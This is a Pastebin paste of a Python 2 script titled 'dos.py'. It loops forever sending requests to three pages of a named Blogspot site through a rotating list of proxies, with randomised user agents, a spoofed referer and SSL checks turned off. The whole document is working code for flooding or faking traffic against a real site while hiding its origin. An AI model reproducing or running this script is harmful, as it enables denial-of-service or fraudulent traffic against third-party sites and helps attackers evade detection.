Advertisement
parkdream1

dos.py

Jun 29th, 2013
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.40 KB | None | 0 0
  1. import pycurl
  2. import re
  3. import random
  4. from random import choice
  5.  
  6. def random_user():
  7.     global agent
  8.     user = ['Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  9.         'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)',
  10.         'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)',
  11.         'Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0',
  12.         'Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian)',
  13.         'Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0',
  14.         'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)',
  15.         'Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11',
  16.         'Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11',
  17.         'Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11']
  18.     agent = random.choice(user)
  19. def random_ref():
  20.     global ref
  21.     reflist = ['https://google.com.vn',
  22.         'https://facebook.com']
  23.     ref = random.choice(reflist)
  24.  
  25. def layproxy():
  26.     global proxylist
  27.    
  28.     proxy_file = 'proxy.txt'
  29.     proxylist = [];
  30.     with open(proxy_file) as proxy:
  31.         for line in proxy.readlines():
  32.             search = re.search('p:(.*):p',line)
  33.             if search:
  34.                 search_ok = search.group(1)
  35.                 proxylist.append(search_ok)
  36.                
  37. def test(url,proxy,agent,ref):
  38.     try:
  39.         curl = pycurl.Curl()
  40.         curl.setopt(pycurl.URL, url)
  41.         curl.setopt(pycurl.CONNECTTIMEOUT, 5)
  42.         curl.setopt(pycurl.TIMEOUT, 8)
  43.         curl.setopt(pycurl.USERAGENT,agent)
  44.         curl.setopt(pycurl.REFERER, ref)
  45.         curl.setopt(pycurl.NOSIGNAL, 1)
  46.         if proxy != '':
  47.             curl.setopt(pycurl.PROXY, proxy);
  48.         curl.setopt(pycurl.COOKIEFILE,'cookie.txt')
  49.         curl.setopt(pycurl.COOKIEJAR,'cookie.txt')
  50.         curl.setopt(pycurl.SSL_VERIFYHOST, 0)
  51.         curl.setopt(pycurl.FOLLOWLOCATION, 1)
  52.         curl.setopt(pycurl.SSL_VERIFYPEER, 0)
  53.         curl.setopt(pycurl.MAXREDIRS, 5)
  54.         curl.setopt(pycurl.VERBOSE, True)
  55.         curl.perform()
  56.         curl.close()
  57.     except pycurl.error, error:
  58.         errno, errstr = error
  59.         print 'An error occurred: ', errstr
  60.        
  61. def main():
  62.     layproxy()
  63.     while True:
  64.         for proxy in proxylist:
  65.             random_user()
  66.             random_ref()
  67.             test('http://xzone7.blogspot.com/',proxy,agent,ref)
  68.             test('http://xzone7.blogspot.com/2013/06/su-ngu-dot-cua-admin-forum.html',proxy,agent,ref)
  69.             test('http://xzone7.blogspot.com/2013/06/auto-register-login-final.html',proxy,agent,ref)
  70.            
  71. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement